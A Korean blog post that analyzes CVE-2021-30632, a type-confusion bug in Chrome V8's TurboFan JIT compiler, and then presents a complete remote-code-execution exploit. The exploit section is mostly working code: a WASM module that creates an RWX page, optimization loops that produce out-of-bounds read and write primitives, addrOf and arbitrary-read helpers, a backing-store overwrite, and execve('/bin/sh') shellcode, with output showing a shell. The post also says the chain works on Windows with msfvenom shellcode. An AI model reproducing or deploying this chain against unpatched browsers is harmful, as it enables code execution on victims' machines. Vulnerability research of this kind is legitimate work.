블로그로 돌아가기
Research

CVE-2021-30632: Chrome V8 타입 혼동 → RCE

V8 TurboFan JIT의 전역 속성 Map 안정성 검사 누락으로 발생하는 타입 혼동 취약점 분석 및 Windows RCE 익스플로잇

··5분 읽기
CVEChromeV8JITtype-confusionRCEbrowser-exploitationWASM

테스트 버전: Chrome 91, 92, 93.0.4577.63

데모

기존 계산기를 띄우던 POC에서 셸코드를 msfvenom으로 변경해 cmd.exe를 실행한 모습:

cmd.exe 실행 데모

셸 획득


V8 Map 개념

V8에서 Map은 두 가지 역할을 한다:

  1. 객체의 메모리 레이아웃 정보 보유
  2. Property 접근 속도를 높이는 인라인 캐시(IC) 사용

Property 레이아웃과 타입이 동일한 객체들은 같은 Map을 공유한다.

d8> o1 = {a: 1};
d8> o2 = {a: 10000};  // o1과 동일한 MapA 공유
 
d8> %DebugPrint(o1);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
 
d8> %DebugPrint(o2);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
// 주소 동일: 같은 Map

o2.b = 1을 추가하면 새로운 MapB가 생성되고, MapA에 transition이 추가된다:

0x2a58082c7aa1: [Map]
 - transitions #1: 0x2a58082c7ac9 <Map(HOLEY_ELEMENTS)>
     #b: (transition to const data field) -> 0x2a58082c7ac9

이 프로세스를 Map Transitions라고 한다.

Map 안정성(stability)

  • stable_map: transition이 없거나 재할당으로만 맵이 바뀔 수 있는 상태
  • unstable: 새 transition이 추가됐을 때 — 기존 Map(MapA)에 transition이 붙는 순간 unstable이 된다

TurboFan이 최적화 코드를 생성할 때 이 안정성을 이용해 CheckMap 검사 삽입 여부를 결정한다.

전역 변수 또는 객체 속성에서 Map이 변경되는 경우는 두 가지다:

  1. 재할당: 변수/속성이 새 객체로 교체될 때. 이 경우 원래 Map의 안정성은 그대로 유지된다.
  2. 인플레이스 변경: 재할당 없이 속성이 추가될 때. 이 경우 새 transition이 추가되거나 이미 불안정하기 때문에 원본 Map(MapA)이 불안정해진다.

취약점 (CVE-2021-30632)

핵심 원인

TurboFan이 kConstantType 전역 속성 저장 코드를 컴파일할 때, Map이 불안정한 경우 DependOnStableMap 대신 CheckMaps를 삽입한다. 그런데 Map이 이미 unstable한 상태에서 함수가 최적화되면 — 이후 Map이 바뀌어도 최적화 코드가 무효화(deoptimize)되지 않는다.

case PropertyCellType::kConstantType: {
    dependencies()->DependOnGlobalProperty(property_cell);  // 1. 의존성 등록
    if (property_cell_value.IsHeapObject()) {
        MapRef property_cell_value_map = property_cell_value.AsHeapObject().map();
        if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map);
            // stable → 맵이 변하면 자동 deopt
        } else {
            // unstable → CheckMaps 삽입
        }
        effect = graph()->NewNode(
            simplified()->CheckMaps(...),  // 2. 맵 검사 삽입
            value, effect, control);
    }
}

문제: store 함수가 최적화된 시점에 전역 변수 x의 Map이 unstable이면, 이후 x.newProp = 1로 Map이 변경돼도 최적화된 store는 여전히 이전 Map이 있다고 가정한다. 이 상태에서 load 함수가 최적화되면 x에 새 Map이 있다고 가정하게 되고, store(oldObj) 호출 시 타입 혼동이 발생한다.

PoC

function store(y) { x = y; }
function load()   { return x.b; }
 
var x  = {a: 1};
var x1 = {a: 2};
var x2 = {a: 3};
var x3 = {a: 4};
 
store(x1);
%PrepareFunctionForOptimization(store);
store(x2);
 
x1.b = 1;  // x1의 Map이 MapB로 변경 (MapA는 unstable)
 
%OptimizeFunctionOnNextCall(store);
store(x2); // store가 최적화됨 — 이 시점 x의 Map은 unstable(MapA)
 
x.b = 1;   // x의 Map을 MapB로 변경
 
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();    // load 최적화: x가 MapB라고 가정
 
store(x3); // x = x3 (MapA) — 최적화된 store는 CheckMaps 통과
 
%DebugPrint(load()); // load는 x가 MapB라고 가정 → 타입 혼동

익스플로잇

전체 플로우

  1. WASM으로 RWX 영역 생성
  2. 타입 혼동으로 OOB Read/Write 프리미티브 획득
  3. WASM instance 주소 → RWX 페이지 주소 획득
  4. RWX 페이지에 셸코드 복사 → 실행

1단계: WASM RWX 영역

var code = new Uint8Array([
  0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
  3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,
  5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,
  128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,
  105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,
  65,42,11
]);
var module   = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main     = instance.exports.main;
// WASM 인스턴스는 내부적으로 JIT 컴파일된 코드를 RWX 페이지에 보관

2단계: 타입 혼동 세팅

아래 배열들은 처음에 모두 동일한 Map을 공유한다(HOLEY_SMI_ELEMENTS). 핵심은 foo 함수를 최적화한 뒤, Map이 변경된 객체를 전달하여 최적화된 함수가 잘못된 타입을 가정하게 만드는 것이다.

var arr0 = new Array(10); arr0.fill(1); arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2); arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x    = arr0;
 
var arr      = new Array(30); arr.fill(4); arr.a = 1;
var b        = new Array(1);  b.fill(1);    // arr.a 속성으로부터 transition
var writeArr = [1.1];                        // b로부터 transition (PACKED_DOUBLE_ELEMENTS)
 
function foo(y)      { x = y; }
function oobRead()   { return [x[20], x[24]]; }
function oobWrite(a) { x[24] = a; }
 
// arr2[0] = 1.1 삽입으로 arr1의 Map을 unstable하게 만든 뒤 foo 최적화
for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}
 
x[0] = 1.1;  // arr1 → FixedDoubleArray, Map은 안정적
 
for (let i = 0; i < 20000; i++) oobRead();
for (let i = 0; i < 20000; i++) oobWrite(1.1);
 
foo(arr);  // 타입 혼동 트리거: x는 이제 arr(HOLEY_SMI_ELEMENTS)
           // 하지만 최적화된 oobRead/oobWrite는 x가 FixedDoubleArray라고 가정

이 루프 반복을 통해 oobReadoobWrite 역시 최적화되며, 이후 foo(arr)를 호출하면 x에 다른 타입의 배열이 할당되어 OOB 접근이 가능해진다.

3단계: 프리미티브 구현

var view       = new ArrayBuffer(24);
var dblArr     = new Float64Array(view);
var intView    = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
 
b[0]     = instance;
var addrs = oobRead();  // [b[0] 주소, writeArr.elements 주소]
 
function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
  intView[0] = i1; intView[1] = i2;
  return dblArr[0];
}
function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}
 
function addrOf(obj) {
  b[0] = obj;
  dblArr[0] = oobRead()[0];
  return intView[1];
}
 
function arbRead(addr) {
  let [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr, addr1));
  return writeArr[0];
}

addrOfb[0]에 목표 객체를 넣고 OOB 읽기로 그 주소를 float으로 누출한다. arbReadwriteArr의 elements 포인터를 원하는 주소로 교체하여 해당 위치의 값을 읽어온다.

4단계: RWX 페이지 접근 및 셸코드 실행

function writeShellCode(rwxAddr, shellArr) {
  var intArr     = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  let [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) intArr[i] = shellArr[i];
}
 
var instanceAddr = addrOf(instance);
var rwxAddr      = arbRead(instanceAddr + 0x60);  // WASM JIT RWX 페이지
 
// Linux execve("/bin/sh") syscall shellcode
var shellCode = [
  0x31,0xf6,0x31,0xd2,0x31,0xc0,
  0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,
  0x56,0x53,0x54,0x5f,
  0xb8,0x3b,0x00,0x00,0x00,
  0x0f,0x05
];
 
writeShellCode(rwxAddr, shellCode);
main();

writeShellCodeUint8Array의 백킹 스토어 포인터를 RWX 페이지 주소로 교체하여, 배열에 바이트를 쓰면 곧바로 셸코드가 RWX 영역에 기록되도록 한다.

실행 결과

./d8 poc.js
instance: 81d42dd
elements: 804bcb1
rwx page address: 1c3124f08000
intArray addr: 81074d9
intBackingStore: 5599f2fb25e0
$

Windows에서 실행하려면 Windows 전용 셸코드(msfvenom 생성)로 교체하면 된다.


참고 자료